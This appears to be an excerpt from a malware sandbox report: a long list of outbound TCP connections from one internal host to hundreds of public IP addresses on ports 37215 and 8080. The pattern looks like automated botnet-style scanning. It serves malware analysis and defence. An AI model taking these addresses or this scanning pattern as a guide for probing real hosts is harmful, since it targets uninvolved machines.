Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.228.17.5:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 76.155.101.192:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.93.123.37:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.96.199.227:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.70.174.242:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.199.207.220:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.104.63.194:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.70.192.55:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 105.93.112.9:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.198.211.2:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.96.111.34:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.122.227.143:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.241.96.22:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.137.208.7:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 144.69.189.97:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.116.239.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 149.71.150.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.47.84.33:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.127.12.252:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 148.223.2.98:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.170.100.118:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.5.21.118:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.143.127.76:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 199.44.168.213:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.11.60.65:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.47.213.154:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 194.140.219.156:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.167.127.172:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 191.138.116.77:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.17.138.181:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.2.103.104:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 109.232.135.110:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.193.67.5:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 160.236.160.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.235.212.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.35.92.102:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.103.190.50:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.7.102.69:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 169.132.160.69:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.164.105.131:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 170.245.27.214:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 203.33.184.200:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.13.231.46:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.135.242.202:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.232.209.146:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.39.82.172:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 72.224.245.109:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.38.43.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.6.178.184:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.204.10.236:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.110.218.108:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.10.151.86:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.78.181.68:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 93.166.199.54:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.157.181.224:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 147.88.12.113:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.217.106.213:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 177.1.46.47:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.104.238.86:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 110.94.22.50:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 86.179.208.44:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.141.114.143:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.99.16.231:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.237.21.163:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 60.33.165.200:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 36.159.22.19:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 27.169.185.59:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.61.29.13:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 209.232.170.98:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.224.115.73:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.129.244.171:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 50.224.176.75:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.57.6.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.82.229.210:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.76.164.210:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.203.218.87:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 154.78.121.85:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.92.231.133:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.245.186.111:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.33.64.235:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.188.38.247:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.148.222.225:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.184.114.64:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.14.121.254:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 144.146.26.41:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.53.203.169:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.128.67.87:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.205.130.244:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.7.126.254:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.227.181.5:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.74.66.91:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.169.193.186:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.201.203.122:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.238.214.236:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.1.12.68:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 221.11.33.183:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.15.137.195:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.1.251.130:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 83.170.183.64:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 81.146.211.13:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.20.219.34:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.117.111.150:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 201.77.4.10:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 92.149.239.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.161.178.251:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.139.109.185:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.152.150.124:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 60.60.182.248:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.61.212.239:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 9.204.228.63:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 58.236.207.112:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 65.56.187.36:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.253.67.199:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.98.132.117:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.119.147.224:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.99.223.254:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 144.113.201.159:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.101.71.11:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.164.126.154:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 98.193.32.255:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.197.210.19:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.209.37.229:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.98.45.33:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.77.240.7:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.45.157.7:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 122.96.43.83:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.254.190.220:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.147.145.154:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.207.185.80:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.174.82.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.97.30.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 179.105.101.104:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.140.173.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 142.77.113.122:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 201.211.49.100:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 189.183.70.29:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.87.131.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.210.62.28:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 221.134.93.208:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.214.224.111:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.36.175.199:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.43.226.63:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.132.117.129:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 83.173.195.249:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.217.159.9:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.236.77.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.150.124.233:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.2.242.189:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.96.63.8:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.96.121.238:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.189.227.174:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.84.151.212:37215
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 120.49.19.162:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 162.129.103.162:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 63.253.55.160:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 101.49.119.79:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 151.48.166.185:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 5.131.140.128:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 156.140.85.129:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 193.120.247.65:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 40.162.4.243:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 203.165.142.103:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 45.4.222.168:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 65.42.219.97:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 115.114.239.193:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 216.169.135.37:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 176.214.71.65:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 12.239.33.16:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 129.17.82.25:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 166.29.66.158:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 54.232.149.140:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 35.125.26.48:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 144.102.58.178:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 20.248.34.45:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 92.30.181.156:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 220.15.7.99:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 72.202.69.26:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 175.45.7.180:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 204.186.251.20:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 114.237.200.91:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 76.137.58.90:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 173.233.44.160:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 141.7.93.141:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 67.167.161.7:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 88.243.242.38:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 52.133.158.124:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 200.47.202.57:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 32.135.43.1:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 93.189.127.246:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 86.133.45.130:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 187.84.26.120:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 68.29.8.3:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 114.181.57.254:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 80.106.211.0:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 202.97.0.29:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 43.36.22.35:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 12.214.232.38:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 4.246.35.97:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 81.150.95.110:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 198.214.184.108:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 145.135.163.69:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 151.231.51.203:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 126.0.7.197:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 111.119.156.130:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 190.130.145.115:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 2.253.34.30:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 27.118.159.58:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 37.5.101.78:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 40.209.17.127:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 223.90.1.121:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 144.157.79.163:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 38.205.234.91:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 174.217.205.211:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 8.122.172.37:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 90.0.136.11:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 201.140.214.78:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 185.82.177.167:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 105.225.233.224:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 150.164.200.177:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 129.127.240.37:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 88.116.64.84:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 113.194.196.78:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 20.21.194.124:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 108.118.134.18:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 173.149.99.148:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 95.146.255.179:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 173.192.65.64:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 73.53.31.249:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 18.147.113.25:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 137.180.131.70:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 188.130.13.151:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 80.210.187.241:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 94.46.167.95:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 61.149.47.131:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 207.85.18.63:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 108.91.135.27:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 165.6.169.113:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 152.88.175.213:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 14.119.175.137:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 18.185.28.167:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 53.210.13.112:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 37.56.255.248:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 145.211.71.13:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 180.131.176.237:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 85.182.76.81:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 108.197.56.38:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 196.249.30.58:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 167.127.207.178:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 104.199.65.152:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 163.147.33.138:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 185.38.252.163:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 63.120.63.24:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 63.162.30.222:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 59.113.21.79:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 90.183.20.131:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 62.99.34.189:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 85.47.223.137:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 176.129.112.27:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 94.76.170.127:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 110.3.191.127:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 14.193.111.223:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 143.236.212.149:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 109.213.35.7:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 43.201.208.85:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 98.133.27.197:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 115.183.51.125:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 78.241.184.244:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 151.112.49.120:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 66.33.97.123:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 58.20.150.73:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 42.166.133.108:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 79.145.97.40:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 42.134.68.123:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 129.11.203.223:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 220.73.16.251:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 9.48.96.121:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 143.198.13.118:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 179.164.211.113:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 58.217.47.217:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 123.97.199.116:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 151.70.246.135:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 165.136.164.205:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 103.247.248.159:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 24.242.75.153:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 205.114.36.29:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 145.1.138.181:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 73.180.184.210:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 129.165.68.109:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 163.123.48.87:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 25.60.204.42:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 58.131.228.42:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 43.127.78.242:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 139.173.193.228:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 53.89.151.70:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 50.249.122.195:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 159.252.129.119:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 54.91.143.93:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 175.161.38.69:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 109.1.198.232:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 115.226.161.75:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 83.75.87.225:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 14.145.73.226:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 130.60.231.182:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 39.1.161.176:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 151.80.162.185:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 204.62.232.185:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 140.42.125.166:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 71.153.248.103:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 80.116.230.114:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 35.75.9.126:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 164.80.208.75:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 153.35.112.95:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 86.227.52.39:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 67.16.209.251:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 209.47.216.95:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 190.74.226.84:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 91.44.191.239:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 195.197.187.251:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 35.103.118.180:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 208.208.173.15:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 14.45.177.49:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 47.183.233.158:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 156.245.155.202:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 60.151.168.44:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 47.135.5.98:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 44.110.202.17:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 96.112.27.24:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 119.160.211.22:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 20.37.107.89:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 194.15.38.76:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 155.156.22.196:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 164.220.132.158:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 187.75.112.91:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 108.87.88.211:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 119.214.238.109:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 146.238.42.92:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 126.153.237.2:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 140.213.233.13:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 182.153.88.109:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 82.115.78.103:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 208.49.109.6:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 165.211.85.169:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 173.50.35.241:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 68.79.63.160:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 174.173.245.250:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 125.139.97.18:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 199.235.81.72:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 62.242.211.9:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 129.223.89.131:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 69.214.253.138:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 39.61.227.201:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 164.30.132.72:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 169.225.122.38:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 204.64.251.164:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 122.202.143.136:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 89.233.209.109:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 165.213.177.113:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 207.153.105.60:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 31.101.123.182:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 75.139.10.180:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 67.206.106.238:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 73.101.1.154:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 75.102.73.136:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 180.239.188.239:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 195.58.253.104:8080
